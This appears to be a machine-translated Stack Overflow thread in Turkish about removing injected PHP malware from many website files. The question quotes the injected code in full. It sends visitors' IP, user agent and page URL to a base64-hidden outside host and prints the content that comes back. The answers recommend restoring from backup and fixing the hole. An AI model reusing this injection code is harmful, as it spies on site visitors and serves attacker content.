Perl regex kullanarak kötü amaçlı yazılım kaldırma

Aşağıdaki kodu birden çok dosya ve dizinden kaldırmak için herhangi bir yolu var:

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1;//This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for Google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false)//Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        {// reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult;//Statistic code end

        }
        curl_close($stCurlHandle);
    }
}
0
Birinin bu kodu sayfalarınıza enjekte etmesini sağlayan gerçek güvenlik açığının kaldırılmasına ne dersiniz?
katma yazar Sinan Ünür, kaynak
Lütfen kodunuzu tekrar yapıştırın, yapıştırılan kodu seçin ve düzenlerken kod düğmesine tıklayın.
katma yazar Sebastian Paaske Tørholm, kaynak
Onun bir FTP meselesi gibi görünüyor
katma yazar user1018279, kaynak

2 cevap

Bunu yapma. Asla bir saldırıyı tamir etmeye çalışmayın. Hepsine sahip olursanız asla% 100 emin olamazsınız. Sonuçta, bu özel enjeksiyonu biliyorsunuz. Başka yerlerde başka arka kapılar olmadığını nereden biliyorsun?

Bunu işlemenin en iyi yolu, bir yedeklemeden geri yüklemek ve güvenlik açığını gidermektir.

Yedekleme yok mu? Eh, ders öğrendim. Şimdi ev sahibinize gidin ve onlara sorun (yeni bir tane olmalı, ama eğer sizin için başka bir konu varsa).

Eğer bir tane de yoksa, o zaman tamir etmeye çalıştığın için sıkışmışsın. Ancak o zaman bile, bunu otomatik olarak yapmamayı istemiyorum . Bunun yerine, dosyaya gidin ve orada olanlara bakın. Her dosyaya manuel olarak girip kontrol etmedikçe, bu "istismar" ın kaç sürümünün olduğunu bilmiyorsunuz. Bu yüzden bir regexp oluşturmaya çalışmazdım, el ile yapacağım ve bunu yapmanızı tavsiye ederim. Ama sadece yedeğe son çare olarak ...

3
katma

Yes, I suppose you are on Windows (Unix users would know to use sed). I would try some free software that can do that: for example http://www.digitalvolcano.co.uk/content/textcrawler. Or better yet, download any PHP IDE. All can do bulk find&replace.

0
katma
Hayır ben bir Linux kutusu üzerindeyim. Çok fazla tırnak ve özel chars olduğundan sed kullanımı kolay değil. \ Q \ E de çalışmıyor
katma yazar user1018279, kaynak